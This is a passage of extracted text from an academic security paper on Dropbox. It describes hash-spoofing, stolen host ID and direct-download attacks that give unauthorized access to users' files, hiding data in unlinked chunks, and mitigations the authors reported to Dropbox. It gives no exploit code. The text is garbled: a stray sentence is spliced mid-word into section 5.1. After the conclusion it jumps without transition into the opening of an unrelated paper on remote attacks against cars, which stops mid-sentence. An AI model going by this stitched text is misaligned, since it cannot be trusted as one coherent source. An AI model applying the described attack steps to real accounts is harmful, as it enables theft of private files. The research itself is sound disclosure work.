ture on cloud storage.

2.1 Dropbox
Since its initial release in September 2008 Dropbox
has become one of the most popular cloud storage
provider on the Internet. It has 10 million users and

stores more then 100 billion files as of May 2011 [2]
and saves 1 million files every 5 minutes [3]. Dropbox
is mainly an online storage service that can be used
to create online backups of files, and one has access
to files from any computer or similar device that is
connected to the Internet. A desktop client software
available for different operating systems keeps all the
data in a specified directory in sync with the servers, and
synchronizes changes automatically among different
client computers by the same user. Subfolders can be
shared with other Dropbox users, and changes in shared
folders are synced and pushed to every Dropbox account
that has been given access to that shared folder. Large
parts of the Dropbox client are written in Python.

Internally, Dropbox does not use the concept of files,
but every file is split up into chunks of up to 4 megabytes
in size. When a user adds a file to his local Dropbox
folder, the Dropbox client application calculates the hash
values of all the chunks of the file using the SHA-256
algorithm [19]. The hash values are then sent to the
server and compared to the hashes already stored on
the Dropbox servers. If a file does not exist in their
database, the client is requested to upload the chunks.
Otherwise the corresponding chunk is not sent to the
server because a copy is already stored. The existing file
on the server is instead linked to the Dropbox account.
This approach allows Dropbox to save traffic and storage
costs, and users benefit from a faster syncing process
if files are already stored on the Dropbox servers. The
software uses numerous techniques to further enhance
efficiency e.g., delta encoding, to only transfer those
parts of the files that have been modified since the
last synchronization with the server. If by any chance
two distinct files should have the same hash value, the
user would be able to access other users content since
the file stored on the servers is simply linked to the
users Dropbox account. However, the probability of a
coincidental collision in SHA-256 is negligibly small.

The connections between the clients and the Drop-
box servers are secured with SSL. Uploaded data is
encrypted with AES-256 and stored on Amazons S3
storage service that is part of the Amazon Web Services
(AWS) [1]. The AES key is user independent and only
secures the data during storage at Amazon S3, while
transfer security relies on SSL. Our research on the
transmission protocol showed that data is directly sent
to Amazon EC2 servers. Therefore, encryption has to
be done by EC2 services. We do not know where the
keys are stored and if different keys are used for each
file chunk. However, the fact that encryption and storage
is done at the same place seems questionable to us, as

2
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Amazon is most likely able to access decryption keys 1.

After uploading the chunks that were not yet in the
Dropbox storage system, Dropbox calculates the hash
values on their servers to validate the correct transmis-
sion of the file, and compares the values with the hash
values sent by the client. If the hash values do not match,
the upload process of the corresponding chunk is re-
peated. The drawback of this approach is that the server
can only calculate the hash values of actually uploaded
chunks; it is not able to validate the hash values of files
that were already on Dropbox and that were provided by
the client. Instead, it trusts the client software and links
the chunk on the server to the Dropbox account. There-
fore, spoofing the hash value of a chunk added to the
local Dropbox folder allows a malicious user to access
files of other Dropbox users, given that the SHA-256
hash values of the file’s chunks are known to the attacker.

Due to the recent buzz in cloud computing many com-
panies compete in the area of cloud storage. Major op-
erating system companies have introduced their services
with integration into their system, while small startups
can compete by offering cross-OS functionality or more
advanced security features. Table 1 compares a selec-
tion of popular file storage providers without any claim
for completeness. Note that “encrypted storage” means
that the file is encrypted locally before it is sent to the
cloud storage provider and shared storage means that it
is possible to share files and folders between users.

2.2 Related Work

Related work on secure cloud storage focuses mainly
on determining if the cloud storage operator is still in
possession of the client’s file, and if it has been modified.
An interesting survey on the security issues of cloud
computing in general can be found in [30]. A summary
of attacks and new security problems that arise with the
usage of cloud computing has been discussed in [17].
In a paper by Shacham et al. [11] it was demonstrated
that it is rather easy to map the internal infrastructure of
a cloud storage operator. Furthermore they introduced
co-location attacks where they have been able to place
a virtual machine under their control on the same
hardware as a target system, resulting in information
leakage and possible side-channel attacks on a virtual
machine.

1Independently found and confirmed by Christopher Soghoian [5]
and Ben Adida [4]

Early publications on file retrievability [25, 14] check
if a file can be retrieved from an untrusted third party
without retransmitting the whole file. Various papers
propose more advanced protocols [11, 12, 20] to ensure
that an untrusted server has the original file without
retrieving the entire file, while maintaining an overall
overhead of O(1). Extensions have been published
that allow checking of dynamic data, for example
Wang et al. [32] use a Merkle hash tree which allows
a third party auditor to audit for malicious providers
while allowing public verifiability as well as dynamic
data operations. The use of algebraic signatures was
proposed in [29], while a similar approach based on ho-
momorphic tokens has been proposed in [31]. Another
cryptographic tree structure is named “Cryptree” [23]
and is part of the Wuala online storage system. It
allows strong authentication by using encryption and
can be used for P2P networks as well as untrusted
cloud storage. The HAIL system proposed in [13]
can be seen as an implementation of a service-oriented
version of RAID across multiple cloud storage operators.

Harnik et al. describe similar attacks in a recent pa-
per [24] on cloud storage services which use server-side
data deduplication. They recommend using encryption
to stop server-side data deduplication, and propose a ran-
domized threshold in environments where encryption is
undesirable. However, they do not employ client-side
data possession proofs to prevent hash manipulation at-
tacks, and have no practical evaluation for their attacks.

3 Unauthorized File Access

In this section we introduce three different attacks on
Dropbox that enable access to arbitrary files given
that the hash values of the file, respectively the file
chunks, are known. If an arbitrary cloud storage service
relies on the client for hash calculation in server-side
data deduplication implementations, these attacks are
applicable as well.

3.1 Hash Value Manipulation Attack
For the calculation of SHA-256 hash values, Drop-
box does not use the hashlib library which is part
of Python. Instead it delegates the calculation to
OpenSSL [18] by including a wrapper library called
NCrypto [6]. The Dropbox clients for Linux and Mac
OS X dynamically link to libraries such as NCrypto
and do not verify their integrity before using them. We
modified the publicly available source code of NCrypto
so that it replaces the hash value that was calculated by
OpenSSL with our own value (see Figure 1), built it

3
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Name Protocol Encrypted transmission Encrypted storage Shared storage
Dropbox proprietary yes no yes
Box.net proprietary yes yes (enterprise only) yes
Wuala Cryptree yes yes yes

TeamDrive many yes yes yes
SpiderOak proprietary yes yes yes

Windows Live Skydrive WebDAV yes no yes
Apple iDisk WebDAV no no no
Ubuntu One u1storage yes no yes

Table 1: Online Storage Providers

and replaced the library that was shipped with Dropbox.
The Dropbox client does not detect this modification
and transmits for any new file in the local Dropbox the
modified hash value to the server. If the transmitted
hash value does not exist in the server’s database, the
server requests the file from the client and tries to verify
the hash value after the transmission. Because of our
manipulation on the client side, the hash values will
not match and the server would detect that. The server
would then re-request the file to overcome an apparent
transmission error.

Dropbox-Client
(Python)

Modified 
NCrypto
(wrapper)

SHA-256

OpenSSL
(hash value calculation)

replacing
hash value

Figure 1: Hash Value Manipulation Attack

However, if the hash value is already in the server’s
databases the server trusts the hash value calculation of
the client and does not request the file from the client.
Instead it links the corresponding file/chunk to the
Dropbox account. Due to the manipulation of the hash
value we thus got unauthorized access to arbitrary files.

This attack is completely undetectable to the user. If

the attacker already knows the hash values, he can down-
load files directly from the Dropbox server and no inter-
action with the client is needed which could be logged or
detected on the client side. The victim is unable to notice
this in any way, as no access to his computer is required.
Even for the Dropbox servers this unauthorized access to
arbitrary files is not detectable because they believe the
attacker already owns the files, and simply added them
to their local Dropbox folder.

3.2 Stolen Host ID Attack

During setup of the Dropbox client application on a
computer or smartphone, a unique host ID is created
which links that specific device to the owner’s Dropbox
account. The client software does not store username
and password. Instead, the host ID is used for client
and user authentication. It is a random looking 128-bit
key that is calculated by the Dropbox server from
several seeding values provided by the client (e.g.
username, exact date and time). The algorithm is not
publicly known. This linking requires the user’s account
credentials. When the client on that host is success-
fully linked, no further authentication is required for
that host as long as the Dropbox software is not removed.

If the host ID is stolen by an attacker, extracted by
malware or by social engineering, all the files on that
users accounts can be downloaded by the attacker. He
simply replaces his own host ID with the stolen one, re-
syncs Dropbox and consequently downloads every file.

3.3 Direct Download Attack

Dropbox’s transmission protocol between the client
software and the server is built on HTTPS. The client
software can request file chunks from https://dl-
clientXX.dropbox.com/retrieve (where XX is replaced
by consecutive numbers) by submitting the SHA-256
hash value of the file chunk and a valid host ID as
HTTPS POST data. Surprisingly, the host ID doesn’t
even need to be linked to a Dropbox account that owns

4
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the corresponding file. Any valid host ID can be used
to request a file chunk as long as the hash value of the
chunk is known and the file is stored at Dropbox. As
we will see later, Dropbox hardly deletes any data. It
is even possible to just create an HTTPS request with
any valid host ID, and the hash value of the chunk to
be downloaded. This approach could be easily detected
by Dropbox because a host ID that was not used to
upload a chunk or is known to be in possession of the
chunk would try to download it. By contrast the hash
manipulation attack described above is undetectable for
the Dropbox server, and (minor) changes to the core
communication protocol would be needed to detect it.

3.4 Attack Detection

To sum up, when an attacker is able to get access to the
content of the client database, he is able to download all
the files of the corresponding Dropbox account directly
from the Dropbox servers. No further access to the vic-
tim’s system is needed, and in the simplest case only the
host ID needs to be sent to the attacker. An alternative
approach for the attacker is to access only specific files,
by obtaining only the hash values of the file. The owner
of the files is unable to detect that the attacker accessed
the files, for all three attacks. From the cloud storage ser-
vice operators point of view, the stolen host-ID attack as
well as the direct download attack are detectable to some
extent. We discuss some countermeasures in section 6.
However, by using the hash manipulation attack the at-
tacker can avoid detection completely, as this form of
unauthorized access looks like the attacker already owns
the file to Dropbox. Table 2 gives an overview of all of
the different attacks that can lead to unauthorized file ac-
cess and information leakage 2.

4 Attack Vectors and Online Slack Space

This section discusses known attack techniques to exploit
cloud storage and Dropbox on a large scale. It outlines
already known attack vectors, and how they could be
used with the help of Dropbox, or any other cloud stor-
age service with weak security. Most of them can have
a severe impact and should be considered in the threat
model of such services.

2We communicated with Dropbox and reported our findings prior
to publishing this paper. They implemented a temporary fix to prevent
these types of attacks and will include a permanent solution in future
versions.

4.1 Hidden Channel, Data Leakage
The attacks discussed above can be used in numerous
ways to attack clients, for example by using Dropbox
as a drop zone for important and possibly sensitive data.
If the victim is using Dropbox (or any other cloud stor-
age services which is vulnerable to our discovered at-
tack) these services might be used to exfiltrate data a lot
stealthier and faster with a covert channel than using reg-
ular covert channels [16]. The amount of data that needs
to be sent over the covert channel would be reduced to a
single host ID or the hash values of specific files instead
of the full file. Furthermore the attacker could copy im-
portant files to the Dropbox folder, wait until they are
stored on the cloud service and delete them again. After-
wards he transmits the hash values to the attacker and the
attacker then downloads these files directly from Drop-
box. This attack requires that the attacker is able to exe-
cute code and has access to the victim’s file system e.g.
by using malware. One might argue that these are tough
preconditions for this scenario to work. However, as in
example, in the case of corporate firewalls this kind of
data leakage is much harder to detect as all traffic with
Dropbox is encrypted with SSL and the transfers would
blend in perfectly with regular Dropbox activity, since
Dropbox itself is used for transmitting the data. Cur-
rently the client has no control measures to decide upon
which data might get stored in the Dropbox folder. The
scheme for leaking information and transmitting data to
an attacker is depicted in Figure 2.

Victim using Dropbox

Attackers PC

1. Steal hashes 2. Send hashes to Attacker

3. Link hashes with 

fake client

4. Download all files 

of the victim

Figure 2: Covert Channel with Dropbox

4.2 Online Slack Space
Uploading a file works very similarly to downloading
with HTTPS (as described above, see section 3.3). The
client software uploads a chunk to Dropbox by calling
https://dl-clientXX.dropbox.com/store with the hash
value and the host ID as HTTPS POST data along with
the actual data. After the upload is finished, the client

5
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Method Detectability Consequences
Hash Value Manipulation Attack Undetectable Unauthorized file access
Direct Download Attack Dropbox only Unauthorized file access
Stolen Host ID Attack Dropbox only Get all user files

Table 2: Variants of the Attack

software links the uploaded files to the host ID with
another HTTPS request. The updated or newly added
files are now pushed to all computers of the user, and to
all other user accounts if the folder is a shared folder.

A modified client software can upload files without
limitation, if the linking step is omitted. Dropbox can
thus be used to store data without decreasing the avail-
able amount of data. We define this as online slack space
as it is similar to regular slack space [21] from the per-
spective of a forensic examiner where information is hid-
den in the last block of files on the filesystem that are not
using the entire block. Instead of hiding information in
the last block of a file, data is hidden in Dropbox chunks
that are not linked to the attackers account. If used in
combination with a live CD operating system, no traces
are left on the computer that could be used in the foren-
sic process to infer the existence of that data once the
computer is powered down. We believe that there is no
limitation on how much information could be hidden, as
the exploited mechanisms are the same as those which
are used by the Dropbox application.

4.3 Attack Vector
If the host ID is known to an attacker, he can upload
and link arbitrary files to the victim’s Dropbox account.
Instead of linking the file to his account with the second
HTTPS request, he can use an arbitrary host ID with
which to link the file. In combination with an exploit
of the operating system file preview functions, e.g. on
one of the recent vulnerabilities in Windows 3, Linux 4,
or MacOS 5, this becomes a powerful exploitation
technique. An attacker could use any 0-day weakness
in the file preview of supported operating systems to
execute code on the victim’s computer, by pushing a
manipulated file into his Dropbox folder and waiting for
the user to open that directory. Social engineering could
additionally be used to trick the victim into executing a
file with a promising filename.

To get access to the host ID in the first place is tricky,
and in any case access to the filesystem is needed in
the first place. This however does not reduce the conse-

3Windows Explorer: CVE-2010-2568 or CVE-2010-3970
4Evince in Nautilus: CVE-2010-2640
5Finder: CVE-2006-2277

quences, as it is possible to store files remotely in other
peoples Dropbox. A large scale infection using Drop-
box is however very unlikely, and if an attacker is able to
retrieve the host ID he already owns the system.

5 Evaluation

This section studies some of the attacks introduced. We
evaluate whether Dropbox is used to store popular files
from the filesharing network thepiratebay.org 6 as well as
how long data is stored in the previously defined online
slack space.

5.1 Stored files on Dropbox
With the hash manipulation attack and the direct down-
load attack described above it becomes possible to test
if a given file is already stored on Dropbox. We used
that to evaluate if Dropbox is used for storing filesharing
files, as filesharing protocols like BitTorrent rely heavily
on hashing for file identification. We downloaded the top
100 torrents from thepiratebay.org [7] as of the middle of
September 2010. Unfortunately, BitTorrent uses SHA-1
hashes to identify files and their chunks, so the informa-
tion in the .torrent file itself is not sufficient and we had
to download parts of the content. As most of the files
on BitTorrent are protected by copyright, we decided to
download every file from the .torrent that lacks copyright
protection to protect us from legal complaints, but are
still sufficient to prove that Dropbox is used to store these
kind of files. To further proctect us against complaints
based on our IP address, our BitTorrent client was modi-
fied to prevent upload of any data, as described similarly
in [27]. We downloaded only the first 4 megabytes of any
file that exceeds this size, as the first chunk is already suf-
ficient to tell if a given file is stored on Dropbox or not
using the hash manipulation attack.

We observed the following different types of files that
were identified by the .torrent files:

• Copyright protected content such as movies, songs
or episodes of popular series.

• “Identifying files” that are specific to the copyright
protected material, such as sample files, screen cap-
tures or checksum files, but without copyright.

6Online at http://thepiratebay.org

6
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• Static files that are part of many torrents, such as
release group information files or links to websites.

Those “identifying files” we observed had the follow-
ing extensions and information:

• .nfo: Contains information from the release group
that created the .torrent e.g., list of files, installation
instructions or detailed information and ratings for
movies.

• .srt: Contains subtitles for video files.

• .sfv: Contains CRC32 checksums for every file
within the .torrent.

• .jpg: Contains screenshots of movies or album cov-
ers.

• .torrent: The torrent itself contains the hash values
of all the files, chunks as well as necessary tracker
information for the clients.

In total from those top 100 torrent archives, 98 con-
tained identifying files. We removed the two .torrents
from our test set that did not contain such identifying
files. 24 hours later we downloaded the newest entries
from the top 100 list, to check how long it takes from the
publication of a torrent until it is stored on Dropbox. 9
new torrents, mostly series, were added to the test set. In
Table 3 we show in which categories they where catego-
rized by thepiratebay.org.

Category Quantity
Application 3

Game 5
Movie 64
Music 6
Series 29

Sum 107

Table 3: Distribution of tested .torrents

When we downloaded the “identifying files” from
these 107 .torrent, they had in total approximately 460k
seeders and 360k leechers connected (not necessarily
disjoint), with the total number of complete downloads
possibly much higher. For every .torrent file and every
identifying file from the .torrent’s content we generated
the sha256 hash value and checked if the files were stored
on Dropbox, in total 368 hashes. If the file was bigger
then 4 megabytes, we only generated the hash of the first
chunk. Our script did not use the completely stealthy ap-
proach described above, but the less stealthy approach
by creating an HTTPS request with a valid host ID as the
overall stealthiness was in our case not an issue.

From those 368 hashes, 356 files were retrievable,
only 12 hashes were unknown to Dropbox and the cor-
responding files were not stored on Dropbox. Those 12
files were linked to 8 .torrent files. The details:

• In one case the identifying file of the .torrent was
not on Dropbox, but the .torrent file was.

• In three cases the .torrent file was not on Dropbox,
but the identifying files were.

• In four cases the .nfo file was not on Dropbox, but
other iIn fact, it might be the case that only one per-
son uses Dropbox to store these files. dentifying
files from the same .torrent were.

This means that for every .torrent either the .torrent
file, the content or both are easily retrievable from Drop-
box once the hashes are known. Table 4 shows the num-
bers in details, where hit rate describes how many of
them were retrievable from Dropbox.

File Quantity Hitrate Hitrate rel.
.torrent: 107 106 99%

.nfo: 53 49 92%
others: 208 201 97%

In total: 368 356 97%

Table 4: Hit rate for filesharing

Furthermore we analyzed the age of the .torrents to
see how quick Dropbox users are to download the .tor-
rents and the corresponding content, and to upload ev-
erything to Dropbox. Most of the .torrent files were rela-
tively young, as approximately 20 % of the top 100 .tor-
rent files were less than 24 hours on piratebay before we
were able to retrieve them from Dropbox. Figure 3 shows
the distribution of age from all the .torrents:

5.2 Online Slack Space Evaluation
To assess if Dropbox could be used to hide files by
uploading without linking them to any user account, we
generated a set of 30 files with random data and uploaded
them with the HTTPS request method. Furthermore we
uploaded 55 files with a regular Dropbox account and
deleted them right afterwards, to assess if Dropbox ever
deletes old user data. We furthermore evaluated if there
is some kind of garbage collection that removes files
after a given threshold of time since the upload. The
files were then downloaded every 24 hours and checked
for consistency by calculating multiple hash functions
and comparing the hashvalues. By using multiple files
with various sizes and random content we minimized the
likelihood of an unintended hash collision and avoided
testing for a file that is stored by another user and thus

7
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Figure 3: Age of .torrents

always retrievable. Table 5 summarizes the setup.

Method of upload # Testduration Hitrate
Regular folder 25 6 months 100%
Shared folder 30 6 months 100%

HTTPS request 30 >3 months 50%
In total: 85 — 100%

Table 5: Online slack experiments

Long term undelete: With the free account users
can undo file modifications or undelete files through
the webinterface from the last 30 days. With a so
called “Pro” account (where the users pay for additional
storage space and other features) undelete is available
for all files and all times. We uploaded 55 files in total
on October 7th 2010, 30 files in a shared folder with
another Dropbox account and 25 files in an unshared
folder. Until Dropbox fixed the HTTPS download attack
at the end of April 2011, 100% have been constantly
available. More then 6 months after uploading, all files
were still retrievable, without exception.

Online slack: We uploaded 30 files of various sizes
without linking them to any account with the HTTPS
method at the beginning of January 2011. More then 4
weeks later, all files were still retrievable. When Drop-
box fixed the HTTPS download attack in late April 2011,
50% of the files were still available. See Figure 4 for de-
tails.

5.3 Discussion
It surprised us that from every .torrent file, either the
.torrent, the content or both could be retrieved from
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Figure 4: Online slack without linking over time

Dropbox, especially considering that some of the
.torrent files were only a few hours created before we
retrieved them. 97% means that Dropbox is heavily
used for storing files from filesharing networks. It is
also interesting to note that some of the .torrent files
contained more content regarding storage space than
the free Dropbox account currently offers (2 gigabytes
at the time of writing). 11 out of the set of tested 107
.torrents contained more then 2 gigabytes as they were
DVD images, the biggest with 7.2 gigabytes in total size.
This means that whoever stored those files on Dropbox
has either a Dropbox Pro account (for which he or she
pays a monthly fee), or that he invited a lot of friends to
get additional storage space from the Dropbox referral
program.

However, we could only infer the existence of these
files. With the approach we used it is not possible to
quantify to what extent Dropbox is used for filesharing
among multiple users. Our results only show that within
the last three to six months at least one Bittorrent user
saved his downloads in Dropbox, respectively that since
the .torrent has been created. No conclusions can be
drawn as to whether they are saved in shared folders, or
if only one person or possibly thousands of people uses
Dropbox in that way. In fact, it is equally likely that a
single person uses Dropbox to store these files.

With our experiments regarding online slack space we
showed that it is very easy to hide data on Dropbox with
low accountability. It becomes rather trivial to get some
of the advanced features of Dropbox like unlimited un-
delete and versioning, without costs. Furthermore a ma-
licious user can upload files without linking them to his
account, resulting in possibly unlimited storage space

8



USENIX Association  20th USENIX Security Symposium 73

while at the same time possibly causing problems in a
standard forensic examination. In an advanced setup, the
examinator might be confronted with a computer that has
no harddrive, booting from read only media such as a
Linux live CD and saving all files in online slack space.
No traces or local evidence would be extractable from the
computer [15], which will be an issue in future forensic
examinations. This is similar to using the private mode
in modern browsers which do not save information lo-
cally [8].

6 Keeping the cloud white

To ensure trust in cloud storage operators it is vital to not
only make sure that the untrusted cloud storage operator
keeps the files secure with regards to availability [25],
but also to ensure that the client cannot get attacked with
these services. We provide generic security recommen-
dations for all storage providers to prevent our attacks,
and propose changes to the communication protocol of
Dropbox to include data possession proofs that can be
precalculated on the cloud storage operato’rs side and
implemented efficiently as database lookups.

6.1 Basic security primitives

Our attacks are not only applicable to Dropbox, but
to all cloud storage services where a server-side data
deduplication scheme is used to prevent retransmission
of files that are already stored at the provider. Current
implementations are based on simple hashing. However,
the client software cannot be trusted to calculate the
hash value correctly and a stronger proof of ownership
is needed. This is a new security aspect of cloud
computing, as up till now mostly trust in the service
operator was an issue, and not the client.

To ensure that the client is in possession of a file, a
strong protocol for provable data possession is needed,
based on either cryptography or probabilistic proofs or
both. This can be done by using a recent provable data
possession algorithm such as [11], where the cloud stor-
age operator selects which challenges the client has to
answer to get access to the file on the server and thus
omit the retransmission which is costly for both the client
and the operator. Recent publications proposed different
approaches with varying storage and computational over-
head [12, 20, 10]. Furthermore every service should use
SSL for all communication and data transfers, something
which we observed was not the case with every service.

6.2 Secure Dropbox

To fix the discovered security issues in Dropbox we
propose several steps to mitigate the risk of abuse.
First of all, a secure data possession protocol should
be used to prevent the clients to get access to files
only by knowing the hash value of a file. Eventually
every cloud storage operator should employ such a
protocol if the client is not part of a trusted environment.
We therefore propose the implementation of a simple
challenge-response mechanism as outlined in Fig. 5.
In essence: If the client transmits a hash value already
known to the storage operator, the server has to verify
if the client is in possession of the entire file or only
the hash value. The server could do so by requesting
randomly chosen bytes from the data during the upload
process. Let H be a cryptographic hash function which
maps data D of arbitrary length to fixed length hash
value.
Pushinit(U�p(U)�H(D)) is a function that initiates the
upload of data D from the client to the server. The user
U and an authentication token p(U) are sent along with
the hash value H(D) of data D. Push(U�p(U)�D) is
the actual uploading process of data D to the server.
Req(U�p(U)�H(D)) is a function that requests data D
from the server.
V er(V eroff�H(D)) is a function that requests ran-
domly chosen bytes from data D by specifying their
offsets in the array V eroff .

Uploading chunks without linking them to a users

server:machineclient:machine

pushinit(U,p(U),H(D))

ver(Veroff,H(D))

sendBytes(VerBytes,H(D))

storage management:process

sendHashvalue(H(D)) determineAvailability(H(D))

sendLinkingRequest(U,H(D)) linkUserToData(U,D)

returnCRPairs(VerBytes,Veroff,H(D))

Figure 5: Data verification during upload

Dropbox should not be allowed, on the one hand to
prevent clients to have unlimited storage capacity, on
the other hand to make online slack space on Dropbox
infeasible. In many scenarios it is still cheaper to just
add storage capacity instead of finding a reliable metric
on what data to delete - however, to prevent misuse of
historic data and online slackspace, all chunks that are
not linked to a file that is retrievable by a client should
be deleted.

To further enhance security several behavioral aspects

9
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Security Measure Consequences
1. Data possession protocol Prevent hash manipulation attacks
2. No chunks without linking Defy online slack space
3. Check for host ID activity Prevent access if host is not online
4. Dynamic host ID Smaller window of opportunity
5. Enforcement of data ownership No unauthorized data access

Table 6: Security Improvements for Dropbox

can be leveraged, for example to check for host ID
activity - if a client turns on his computer he connects
to Dropbox to see if any file has been updated or new
files were added. Afterwards, only that IP address
should be allowed to download files from that host IDs
Dropbox. If the user changes IP e.g., by using a VPN
or changing location, Dropbox needs to rebuild the
connection anyway and could use that to link that host
ID to that specific IP. In fact, the host ID should be used
like a cookie [26] if used for authentication, dynamic
in nature and changeable. A dynamic host ID would
reduce the window of opportunity that an attacker could
use to clone a victim’s Dropbox by stealing the host ID.
Most importantly, Dropbox should keep track of which
files are in which Dropboxes (enforcement of data
ownership). If a client downloads a chunk that has not
been in his or her Dropbox, this is easily detectable for
Dropbox.

Unfortunately we are unable to assess the performance
impact and communication overhead of our mitigation
strategies, but we believe that most of them can be im-
plemented as simple database lookups. Different data
possession algorithms have already been studied for their
overhead, for example S-PDP and E-PDP from [11] are
bounded by O(1). Table 6 summarizes all needed miti-
gation steps to prevent our attacks.

7 Conclusion

In this paper we presented specific attacks on cloud stor-
age operators where the attacker can download arbitrary
files under certain conditions. We proved the feasibil-
ity on the online storage provider Dropbox and showed
that Dropbox is used heavily to store data from thepi-
ratebay.org, a popular BitTorrent website. Furthermore
we defined and evaluated online slack space and demon-
strated that it can be used to hide files. We believe that
these vulnerabilities are not specific to Dropbox, as the
underlying communication protocol is straightforward
and very likely to be adopted by other cloud storage op-
erators to save bandwidth and storage overhead. The dis-
cussed countermeasures, especially the data possession
proof on the client side, should be included by all cloud
storage operators.
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Abstract
Modern automobiles are pervasively computerized, and
hence potentially vulnerable to attack. However, while
previous research has shown that the internal networks
within some modern cars are insecure, the associated
threat model — requiring prior physical access — has
justifiably been viewed as unrealistic. Thus, it remains an
open question if automobiles can also be susceptible to
remote compromise. Our work seeks to put this question
to rest by systematically analyzing the external attack
surface of a modern automobile. We discover that remote
exploitation is feasible via a broad range of attack vectors
(including mechanics tools, CD players, Bluetooth and
cellular radio), and further, that wireless communications
channels allow long distance vehicle control, location
tracking, in-cabin audio exfiltration and theft. Finally, we
discuss the structural characteristics of the automotive
ecosystem that give rise to such problems and highlight
the practical challenges in mitigating them.

1 Introduction
Modern cars are controlled by complex distributed com-
puter systems comprising millions of lines of code execut-
ing on tens of heterogeneous processors with rich connec-
tivity provided by internal networks (e.g., CAN). While
this structure has offered significant benefits to efficiency,
safety and cost, it has also created the opportunity for new
attacks. For example, in previous work we demonstrated
that an attacker connected to a car’s internal network can
circumvent all computer control systems, including safety
critical elements such as the brakes and engine [14].

However, the threat model underlying past work
(including our own) has been met with significant, and
justifiable, criticism (e.g., [1, 3, 16]). In particular, it is
widely felt that presupposing an attacker’s ability to physi-
cally connect to a car’s internal computer network may be
unrealistic. Moreover, it is often pointed out that attackers
with physical access can easily mount non-computerized
attacks as well (e.g., cutting the brake lines).

This situation suggests a significant gap in knowledge,
and one with considerable practical import. To what ex-
tent are external attacks possible, to what extent are they
practical, and what vectors represent the greatest risks?
Is the etiology of such vulnerabilities the same as for
desktop software and can we think of defense in the same
manner? Our research seeks to fill this knowledge gap
through a systematic and empirical analysis of the remote
attack surface of late model mass-production sedan.

We make four principal contributions:
Threat model characterization. We systematically
synthesize a set of possible external attack vectors as
a function of the attacker’s ability to deliver malicious
input via particular modalities: indirect physical access,
short-range wireless access, and long-range wireless
access. Within each of these categories, we characterize
the attack surface exposed in current automobiles and
their surprisingly large set of I/O channels.
Vulnerability analysis. For each access vector category,
we investigate one or more concrete examples in depth
and assess the level of actual exposure. In each case we
find the existence of practically exploitable vulnerabilities
that permit arbitrary automotive control without requiring
direct physical access. Among these, we demonstrate the
ability to compromise a car via vulnerable diagnostics
equipment widely used by mechanics, through the media
player via inadvertent playing of a specially modified
song in WMA format, via vulnerabilities in hands-free
Bluetooth functionality and, finally, by calling the car’s
cellular modem and playing a carefully crafted audio
signal encoding both an exploit and a bootstrap loader
for additional remote-control functionality.
Threat assessment. From these uncovered vulnerabili-
ties, we consider the question of “utility” to an attacker:
what capabilities does the vulnerability enable? Unique
to this work, we study how an attacker might leverage a
car’s external interfaces for post-compromise control. We
demonstrate multiple post-compromise control channels
(including TPMS wireless signals and FM radio), inter-
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active remote control via the Internet and real-time data
exfiltration of position, speed and surreptitious streaming
of cabin audio (i.e., anything being said in the vehicle) to
an outside recipient. Finally, we also explore potential at-
tack scenarios and gauge whether these threats are purely
conceptual or whether there are plausible motives that
transform them into actual risks. In particular, we demon-
strate complete capabilities for both theft and surveillance.
Synthesis. On reflection, we noted that the vulnera-
bilities we uncovered have surprising similarities. We
believe that these are not mere coincidences, but that
many of these security problems arise, in part, from
systemic structural issues in the automotive ecosystem.
Given these lessons, we make a set of concrete, pragmatic
recommendations which significantly raise the bar for
automotive system security. These recommendations are
intended to “bridge the gap” until deeper architectural
redesign can be carried out.

2 Background and Related Work
Modern automobiles are controlled by a heterogeneous
combination of digital components. These components,
Electronic Control Units (ECUs), oversee a broad range
of functionality, including the drivetrain, brakes, lighting,
and entertainment. Indeed, very few operations are not
mediated by computer control in a modern vehicle (with
the parking brake and steering being the last holdouts,
though semi-automatic parallel parking capabilities are
available in some vehicles and full steer-by-wire has been
demonstrated in several concept cars). Charette estimates
that a modern luxury vehicle includes up to 70 distinct
ECUs including tens of millions of lines of code [5]. In
turn, ECUs are interconnected by common wired net-
works, usually a variant of the Controller Area Network
(CAN) [12] or FlexRay bus [8]. This interconnection
permits complex safety and convenience features such as
pre-tensioning of seat-belts when a crash is predicted and
automatically varying radio volume as a function of speed.

At the same time, this architecture provides a broad
internal attack surface since on a given bus each compo-
nent has at least implicit access to every other component.
Indeed, several research groups have described how
this architecture might be exploited in the presence
of compromised components [15, 24, 26, 27, 28] or
demonstrated such exploits by spoofing messages to
isolated components in the lab [10]. Most recently,
our own group documented experiments on a complete
automobile, demonstrating that if an adversary were
able to communicate on one or more of a car’s internal
network buses, then this capability could be sufficient
to maliciously control critical components across the
entire car (including dangerous behavior such as forcibly
engaging or disengaging individual brakes independent of
driver input) [14]. However, these results raise the ques-

tion of how an adversary might be able to access a car’s
internal bus (and thus compromise its ECUs) absent direct
physical access, a question that we answer in this paper.

About the latter question — understanding the external
attack surface of modern vehicles — there has been
far less research work. Among the exceptions is Rouf
et al.’s recent analysis of the wireless Tire Pressure
Monitoring System (TPMS) in a modern vehicle [22].
While their work was primarily focused on the privacy
implications of TPMS broadcasts, they also described
methods for manipulating drivers by spoofing erroneous
tire pressure readings and, most relevant to our work,
an experience in which they accidentally caused the
ECU managing TPMS data to stop functioning through
wireless signals alone. Still others have focused on the
computer security issues around car theft, including
Francillon et al.’s recent demonstration of relay attacks
against keyless entry systems [9], and the many attacks
on the RFID-based protocols used by engine immobi-
lizers to identify the presence of a valid ignition key,
e.g., [2, 6, 11]. Orthogonally, there has been work that
considers the future security issues (and expanded attack
surface) associated with proposed vehicle-to-vehicle
(V2V) systems (sometimes also called vehicular ad-hoc
networks, or VANETs) [4, 13, 21]. To the best of our
knowledge, however, we are the first to consider the full
external attack surface of the contemporary automobile,
characterize the threat models under which this surface is
exposed, and experimentally demonstrate the practicality
of remote threats, remote control, and remote data
exfiltration. Our experience further gives us the vantage
point to reflect on some of the ecosystem challenges that
give rise to these problems and point the way forward
to better secure the automotive platform in the future.

3 Automotive threat models
While past work has illuminated specific classes of threats
to automotive systems — such as the technical security
properties of their internal networks [14, 15, 24, 26, 27,
28] — we believe that it is critical for future work to place
specific threats and defenses in the context of the entire
automotive platform. In this section, we aim to bootstrap
such a comprehensive treatment by characterizing the
threat model for a modern automobile. Though we
present it first, our threat model is informed significantly
by the experimental investigations we carried out, which
are described in subsequent sections.

In defining our threat model, we distinguish between
technical capabilities and operational capabilities.

Technical capabilities describe our assumptions con-
cerning what the adversary knows about its target vehicles
as well as her ability to analyze these systems to develop
malicious inputs for various I/O channels. For example,
we assume that the adversary has access to an instance of
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the automobile model being targeted and has the technical
skill to reverse engineer the appropriate subsystems and
protocols (or is able to purchase such information from
